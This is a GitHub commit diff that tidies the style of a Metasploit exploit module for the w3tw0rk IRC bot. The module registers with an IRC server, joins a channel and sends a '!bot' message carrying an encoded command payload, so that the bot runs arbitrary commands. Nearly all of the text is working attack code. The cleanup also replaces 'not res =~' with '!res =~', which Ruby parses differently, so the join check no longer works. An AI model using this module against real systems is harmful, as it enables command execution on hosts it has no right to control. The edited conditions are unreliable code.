Skip to content

Commit 8106bcc

Browse files
committed
Clean up module
1 parent 2f8dc7f commit 8106bcc

File tree

1 file changed

+15
-17
lines changed

1 file changed

+15
-17
lines changed

modules/exploits/multi/misc/w3tw0rk_exec.rb

Lines changed: 15 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,8 @@
55

66
require 'msf/core'
77

8-
98
class Metasploit3 < Msf::Exploit::Remote
9+
1010
Rank = ExcellentRanking
1111

1212
include Msf::Exploit::Remote::Tcp
@@ -35,7 +35,7 @@ def initialize(info = {})
3535
'DisableNops' => true,
3636
'Compat' =>
3737
{
38-
'PayloadType' => 'cmd',
38+
'PayloadType' => 'cmd'
3939
}
4040
},
4141
'Targets' =>
@@ -59,24 +59,24 @@ def check
5959
connect
6060

6161
res = register(sock)
62-
if res =~ /463/ or res =~ /464/
62+
if res =~ /463/ || res =~ /464/
6363
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
6464
return Exploit::CheckCode::Unknown
6565
end
6666

6767
res = join(sock)
68-
if not res =~ /353/ and not res =~ /366/
68+
if !res =~ /353/ && !res =~ /366/
6969
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
7070
return Exploit::CheckCode::Unknown
7171
end
7272

7373
quit(sock)
7474
disconnect
7575

76-
if res =~ /auth/ and res =~ /logged in/
77-
return Exploit::CheckCode::Vulnerable
76+
if res =~ /auth/ && res =~ /logged in/
77+
Exploit::CheckCode::Vulnerable
7878
else
79-
return Exploit::CheckCode::Safe
79+
Exploit::CheckCode::Safe
8080
end
8181
end
8282

@@ -85,7 +85,7 @@ def send_msg(sock, data)
8585
data = ""
8686
begin
8787
read_data = sock.get_once(-1, 1)
88-
while not read_data.nil?
88+
while !read_data.nil?
8989
data << read_data
9090
read_data = sock.get_once(-1, 1)
9191
end
@@ -99,7 +99,7 @@ def send_msg(sock, data)
9999
def register(sock)
100100
msg = ""
101101

102-
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
102+
if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
103103
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
104104
end
105105

@@ -113,21 +113,18 @@ def register(sock)
113113
msg << "NICK #{nick}\r\n"
114114
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
115115

116-
res = send_msg(sock,msg)
117-
return res
116+
send_msg(sock,msg)
118117
end
119118

120119
def join(sock)
121120
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
122-
res = send_msg(sock, join_msg)
123-
return res
121+
send_msg(sock, join_msg)
124122
end
125123

126124
def w3tw0rk_command(sock)
127125
encoded = payload.encoded
128126
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
129-
res = send_msg(sock, command_msg)
130-
return res
127+
send_msg(sock, command_msg)
131128
end
132129

133130
def quit(sock)
@@ -140,14 +137,14 @@ def exploit
140137

141138
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
142139
res = register(sock)
143-
if res =~ /463/ or res =~ /464/
140+
if res =~ /463/ || res =~ /464/
144141
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
145142
return
146143
end
147144

148145
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
149146
res = join(sock)
150-
if not res =~ /353/ and not res =~ /366/
147+
if !res =~ /353/ && !res =~ /366/
151148
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
152149
return
153150
end
@@ -158,4 +155,5 @@ def exploit
158155
quit(sock)
159156
disconnect
160157
end
158+
161159
end

0 commit comments

Comments
 (0)